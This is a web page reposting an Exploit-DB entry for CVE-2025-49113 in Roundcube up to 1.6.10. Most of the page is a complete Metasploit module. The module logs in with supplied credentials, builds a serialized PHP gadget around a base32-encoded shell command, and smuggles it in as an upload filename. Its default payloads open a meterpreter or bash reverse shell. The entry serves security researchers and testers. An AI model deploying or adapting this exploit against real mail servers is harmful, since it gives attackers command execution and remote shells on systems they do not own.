Roundcube 1.6.10 – Remote Code Execution (RCE)

Exploit Details

Basic Information

Exploit Title Roundcube 1.6.10 – Remote Code Execution (RCE)
Exploit ID EDB-ID:52324
Type exploitdb
Published 2025-06-13T00:00:00
Modified 2025-06-13T00:00:00

CVSS Information

CVSS Score 9.9
Severity CRITICAL
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE Information

  • CVE-2025-49113

Exploit Description

This module requires Metasploit: https://metasploit.com/download…

Exploit Code

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::FileDropper

include Msf::Exploit::CmdStager

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})

super(

update_info(

info,

‘Name’ => ‘Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization’,

‘Description’ => %q{

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution

by authenticated users because the _from parameter in a URL is not validated

in program/actions/settings/upload.php, leading to PHP Object Deserialization.

An attacker can execute arbitrary system commands as the web server.

},

‘Author’ => [

‘Maksim Rogov’, # msf module

‘Kirill Firsov’, # disclosure and original exploit

],

‘License’ => MSF_LICENSE,

‘References’ => [

[‘CVE’, ‘2025-49113’],

[‘URL’, ‘https://fearsoff.org/research/roundcube’]

],

‘DisclosureDate’ => ‘2025-06-02’,

‘Notes’ => {

‘Stability’ => [CRASH_SAFE],

‘SideEffects’ => [IOC_IN_LOGS],

‘Reliability’ => [REPEATABLE_SESSION]

},

‘Platform’ => [‘unix’, ‘linux’],

‘Targets’ => [

[

‘Linux Dropper’,

{

‘Platform’ => ‘linux’,

‘Arch’ => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],

‘Type’ => :linux_dropper,

‘DefaultOptions’ => { ‘PAYLOAD’ => ‘linux/x64/meterpreter/reverse_tcp’ }

}

],

[

‘Linux Command’,

{

‘Platform’ => [‘unix’, ‘linux’],

‘Arch’ => [ARCH_CMD],

‘Type’ => :nix_cmd,

‘DefaultOptions’ => { ‘PAYLOAD’ => ‘cmd/unix/reverse_bash’ }

}

]

],

‘DefaultTarget’ => 0

)

)

register_options(

[

OptString.new(‘USERNAME’, [true, ‘Email User to login with’, ” ]),

OptString.new(‘PASSWORD’, [true, ‘Password to login with’, ” ]),

OptString.new(‘TARGETURI’, [true, ‘The URI of the Roundcube Application’, ‘/’ ]),

OptString.new(‘HOST’, [false, ‘The hostname of Roundcube server’, ”])

]

)

end

class PhpPayloadBuilder

def initialize(command)

@encoded = Rex::Text.encode_base32(command)

@gpgconf = %(echo “#{@encoded}”|base32 -d|sh &#)

end

def build

len = @gpgconf.bytesize

%(|O:16:”Crypt_GPG_Engine”:3:{s:8:”_process”;b:0;s:8:”_gpgconf”;s:#{len}:”#{@gpgconf}”;s:8:”_homedir”;s:0:””;};)

end

end

def fetch_login_page

res = send_request_cgi(

‘uri’ => normalize_uri(target_uri.path),

‘method’ => ‘GET’,

‘keep_cookies’ => true,

‘vars_get’ => { ‘_task’ => ‘login’ }

)

fail_with(Failure::Unreachable, “#{peer} – No response from web service”) unless res

fail_with(Failure::UnexpectedReply, “#{peer} – Unexpected HTTP code #{res.code}”) unless res.code == 200

res

end

def check

res = fetch_login_page

unless res.body =~ /”rcversion”\s*:\s*(\d+)/

fail_with(Failure::UnexpectedReply, “#{peer} – Unable to extract version number”)

end

version = Rex::Version.new(Regexp.last_match(1).to_s)

print_good(“Extracted version: #{version}”)

if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))

return CheckCode::Appears

elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))

return CheckCode::Appears

end

CheckCode::Safe

end

def build_serialized_payload

print_status(‘Preparing payload…’)

stager = case target[‘Type’]

when :nix_cmd

payload.encoded

when :linux_dropper

generate_cmdstager.join(‘;’)

else

fail_with(Failure::BadConfig, ‘Unsupported target type’)

end

serialized = PhpPayloadBuilder.new(stager).build.gsub(‘”‘, ‘\\”‘)

print_good(‘Payload successfully generated and serialized.’)

serialized

end

def exploit

token = fetch_csrf_token

login(token)

payload_serialized = build_serialized_payload

upload_payload(payload_serialized)

end

def fetch_csrf_token

print_status(‘Fetching CSRF token…’)

res = fetch_login_page

html = res.get_html_document

token_input = html.at(‘input[name=”_token”]’)

unless token_input

fail_with(Failure::UnexpectedReply, “#{peer} – Unable to extract CSRF token”)

end

token = token_input.attributes.fetch(‘value’, nil)

if token.blank?

fail_with(Failure::UnexpectedReply, “#{peer} – CSRF token is empty”)

end

print_good(“Extracted token: #{token}”)

token

end

def login(token)

print_status(‘Attempting login…’)

vars_post = {

‘_token’ => token,

‘_task’ => ‘login’,

‘_action’ => ‘login’,

‘_url’ => ‘_task=login’,

‘_user’ => datastore[‘USERNAME’],

‘_pass’ => datastore[‘PASSWORD’]

}

vars_post[‘_host’] = datastore[‘HOST’] if datastore[‘HOST’]

res = send_request_cgi(

‘uri’ => normalize_uri(target_uri.path),

‘method’ => ‘POST’,

‘keep_cookies’ => true,

‘vars_post’ => vars_post,

‘vars_get’ => { ‘_task’ => ‘login’ }

)

fail_with(Failure::Unreachable, “#{peer} – No response during login”) unless res

fail_with(Failure::UnexpectedReply, “#{peer} – Login failed (code #{res.code})”) unless res.code == 302

print_good(‘Login successful.’)

end

def generate_from

options = [

‘compose’,

‘reply’,

‘import’,

‘settings’,

‘folders’,

‘identity’

]

options.sample

end

def generate_id

random_data = SecureRandom.random_bytes(8)

timestamp = Time.now.to_f.to_s

Digest::MD5.hexdigest(random_data + timestamp)

end

def generate_uploadid

millis = (Time.now.to_f * 1000).to_i

“upload#{millis}”

end

def upload_payload(payload_filename)

print_status(‘Uploading malicious payload…’)

# 1×1 transparent pixel image

png_data = Rex::Text.decode_base64(‘iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==’)

boundary = Rex::Text.rand_text_alphanumeric(8)

data = ”

data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
data << "Content-Type: image/png\r\n\r\n"
data << png_data
data << "\r\n--#{boundary}--\r\n" send_request_cgi({
‘method’ => ‘POST’,

‘uri’ => normalize_uri(target_uri.path, “?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload”),

‘ctype’ => “multipart/form-data; boundary=#{boundary}”,

‘data’ => data

})

print_good(‘Exploit attempt complete. Check for session.’)

end

end

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.